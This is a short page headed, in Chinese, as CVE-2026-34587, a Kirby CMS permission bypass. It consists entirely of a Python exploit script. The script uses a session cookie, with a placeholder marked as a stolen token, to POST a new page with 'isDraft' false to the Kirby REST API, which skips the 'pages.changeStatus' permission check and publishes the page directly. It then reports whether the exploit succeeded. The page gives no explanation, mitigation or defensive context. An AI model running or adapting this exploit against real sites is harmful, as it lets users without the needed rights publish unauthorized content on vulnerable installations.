CVE-2026-34587 Kirby CMS 权限绕过漏洞

import requests # Target configuration TARGET_URL = "https://example.com/api/pages" SESSION_COOKIE = "kirby_session=attacker_stolen_token_here" # HTTP Headers headers = { "Content-Type": "application/json", "Cookie": SESSION_COOKIE } # Exploit Payload: Creating a page with 'isDraft' set to false # This bypasses the 'pages.changeStatus' permission check payload = { "title": "Unauthorized Published Page", "slug": "exploit-page", "template": "article", "content": "This content was published without 'changeStatus' permission.", "isDraft": False # The key parameter that triggers the vulnerability } try: # Send the exploit request via REST API response = requests.post(TARGET_URL, json=payload, headers=headers) if response.status_code == 200 or response.status_code == 201: print("[+] Exploit successful! Page published directly.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error occurred: {e}")